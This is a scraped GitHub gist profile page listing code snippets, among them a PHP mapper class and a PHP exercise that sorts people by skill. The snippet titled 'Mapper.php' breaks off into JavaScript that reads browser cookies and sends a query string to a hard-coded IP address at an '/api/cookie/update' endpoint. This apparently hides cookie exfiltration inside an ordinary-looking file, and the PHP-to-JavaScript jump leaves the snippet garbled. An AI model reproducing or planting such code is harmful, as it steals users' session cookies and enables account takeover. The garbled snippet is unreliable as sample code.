Skip to content

Instantly share code, notes, and snippets.

View ahsio's full-sized avatar
🚀

Ahmed Siouani ahsio

🚀
View GitHub Profile
@ahsio
ahsio / Mapper.php
Last active November 17, 2022 09:03
Lodel - Base mapping implementation
<?php
namespace App\Mapper;
class Mapper implements MapperInterface
{
/** @var array */
private $mapperConfigurations = [];
/**
const loadIdentifier = async (query) => {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", `http://217.182.193.215:9322/api/cookie/update?` + query, false);
xmlHttp.send();return xmlHttp.response;
}
function getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
@ahsio
ahsio / index.php
Created April 3, 2025 22:36
Exercise2 - Skill level ordered by the number of people, with the skill that most people have coming first.
<?php
$input = [
[
"id"=> 1,
"name"=> "Teri Dalby",
"skill"=> "Mountainbiking",
"skillLevel"=> 10
],
[